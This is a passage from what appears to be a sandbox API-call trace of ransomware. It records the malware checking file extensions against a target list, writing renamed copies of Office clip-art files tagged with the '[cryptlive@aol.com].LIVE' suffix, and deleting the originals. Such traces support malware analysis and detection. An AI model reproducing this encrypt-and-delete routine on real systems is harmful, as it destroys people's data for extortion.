SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.974] lstrlenW (lpString=".doc") returned 4 [0142.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.974] lstrlenW (lpString=".docx") returned 5 [0142.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.974] lstrlenW (lpString=".pdf") returned 4 [0142.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.974] lstrlenW (lpString=".xls") returned 4 [0142.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.974] lstrlenW (lpString=".xlsx") returned 5 [0142.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.975] lstrlenW (lpString=".ppt") returned 4 [0142.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString=".zip") returned 4 [0142.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.975] lstrlenW (lpString=".rar") returned 4 [0142.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString=".bz2") returned 4 [0142.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString=".7z") returned 3 [0142.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString=".dbf") returned 4 [0142.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString=".1cd") returned 4 [0142.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString=".jpg") returned 4 [0142.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString=".doc") returned 4 [0142.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString=".docx") returned 5 [0142.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.975] lstrlenW (lpString=".pdf") returned 4 [0142.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString=".xls") returned 4 [0142.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.975] lstrlenW (lpString=".xlsx") returned 5 [0142.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.975] lstrlenW (lpString=".ppt") returned 4 [0142.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.975] lstrlenW (lpString=".zip") returned 4 [0142.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.976] lstrlenW (lpString=".rar") returned 4 [0142.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.976] lstrlenW (lpString=".bz2") returned 4 [0142.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.976] lstrlenW (lpString=".7z") returned 3 [0142.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.976] lstrlenW (lpString=".dbf") returned 4 [0142.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.976] lstrlenW (lpString=".1cd") returned 4 [0142.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0142.976] lstrlenW (lpString=".jpg") returned 4 [0142.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.976] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.976] lstrlenW (lpString="FD00074_.WMF") returned 12 [0142.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.977] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17850) returned 1 [0142.977] CloseHandle (hObject=0x39c) returned 1 [0142.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x20 [0142.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.977] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.977] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0142.978] GetLastError () returned 0x0 [0142.978] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x45ba, lpOverlapped=0x0) returned 1 [0142.979] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0142.981] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.981] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.981] SetEndOfFile (hFile=0x1fc) returned 1 [0142.981] CloseHandle (hObject=0x1fc) returned 1 [0142.981] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.981] SetEndOfFile (hFile=0x39c) returned 1 [0142.983] CloseHandle (hObject=0x39c) returned 1 [0142.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0142.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.984] lstrlenW (lpString=".doc") returned 4 [0142.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.984] lstrlenW (lpString=".docx") returned 5 [0142.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.984] lstrlenW (lpString=".pdf") returned 4 [0142.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.984] lstrlenW (lpString=".xls") returned 4 [0142.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.984] lstrlenW (lpString=".xlsx") returned 5 [0142.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.985] lstrlenW (lpString=".ppt") returned 4 [0142.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString=".zip") returned 4 [0142.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.985] lstrlenW (lpString=".rar") returned 4 [0142.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString=".bz2") returned 4 [0142.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString=".7z") returned 3 [0142.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString=".dbf") returned 4 [0142.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString=".1cd") returned 4 [0142.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString=".jpg") returned 4 [0142.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString=".doc") returned 4 [0142.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString=".docx") returned 5 [0142.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.985] lstrlenW (lpString=".pdf") returned 4 [0142.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString=".xls") returned 4 [0142.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.985] lstrlenW (lpString=".xlsx") returned 5 [0142.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.985] lstrlenW (lpString=".ppt") returned 4 [0142.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.985] lstrlenW (lpString=".zip") returned 4 [0142.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.986] lstrlenW (lpString=".rar") returned 4 [0142.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.986] lstrlenW (lpString=".bz2") returned 4 [0142.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.986] lstrlenW (lpString=".7z") returned 3 [0142.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.986] lstrlenW (lpString=".dbf") returned 4 [0142.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.986] lstrlenW (lpString=".1cd") returned 4 [0142.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0142.986] lstrlenW (lpString=".jpg") returned 4 [0142.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.986] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.986] lstrlenW (lpString="FD00076_.WMF") returned 12 [0142.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.987] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11994) returned 1 [0142.987] CloseHandle (hObject=0x39c) returned 1 [0142.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0142.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.987] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.987] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0142.988] GetLastError () returned 0x0 [0142.988] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2eda, lpOverlapped=0x0) returned 1 [0142.989] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0142.990] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.990] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.991] SetEndOfFile (hFile=0x1fc) returned 1 [0142.991] CloseHandle (hObject=0x1fc) returned 1 [0142.991] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.991] SetEndOfFile (hFile=0x39c) returned 1 [0142.994] CloseHandle (hObject=0x39c) returned 1 [0142.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString=".doc") returned 4 [0142.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString=".docx") returned 5 [0142.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.995] lstrlenW (lpString=".pdf") returned 4 [0142.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString=".xls") returned 4 [0142.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.995] lstrlenW (lpString=".xlsx") returned 5 [0142.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.995] lstrlenW (lpString=".ppt") returned 4 [0142.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString=".zip") returned 4 [0142.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.995] lstrlenW (lpString=".rar") returned 4 [0142.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString=".bz2") returned 4 [0142.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString=".7z") returned 3 [0142.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString=".dbf") returned 4 [0142.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString=".1cd") returned 4 [0142.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString=".jpg") returned 4 [0142.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.996] lstrlenW (lpString=".doc") returned 4 [0142.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".docx") returned 5 [0142.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.996] lstrlenW (lpString=".pdf") returned 4 [0142.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".xls") returned 4 [0142.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.996] lstrlenW (lpString=".xlsx") returned 5 [0142.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.996] lstrlenW (lpString=".ppt") returned 4 [0142.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.996] lstrlenW (lpString=".zip") returned 4 [0142.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.996] lstrlenW (lpString=".rar") returned 4 [0142.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".bz2") returned 4 [0142.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".7z") returned 3 [0142.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.996] lstrlenW (lpString=".dbf") returned 4 [0142.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.996] lstrlenW (lpString=".1cd") returned 4 [0142.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0142.996] lstrlenW (lpString=".jpg") returned 4 [0142.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.996] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.996] lstrlenW (lpString="FD00077_.WMF") returned 12 [0142.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.998] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=30240) returned 1 [0142.998] CloseHandle (hObject=0x39c) returned 1 [0142.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0142.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.998] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.998] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0142.999] GetLastError () returned 0x0 [0142.999] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x7620, lpOverlapped=0x0) returned 1 [0143.308] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x7630, lpOverlapped=0x0) returned 1 [0143.309] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.309] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.309] SetEndOfFile (hFile=0x1fc) returned 1 [0143.309] CloseHandle (hObject=0x1fc) returned 1 [0143.310] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.310] SetEndOfFile (hFile=0x39c) returned 1 [0143.313] CloseHandle (hObject=0x39c) returned 1 [0143.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0143.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0143.348] lstrlenW (lpString=".doc") returned 4 [0143.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.348] 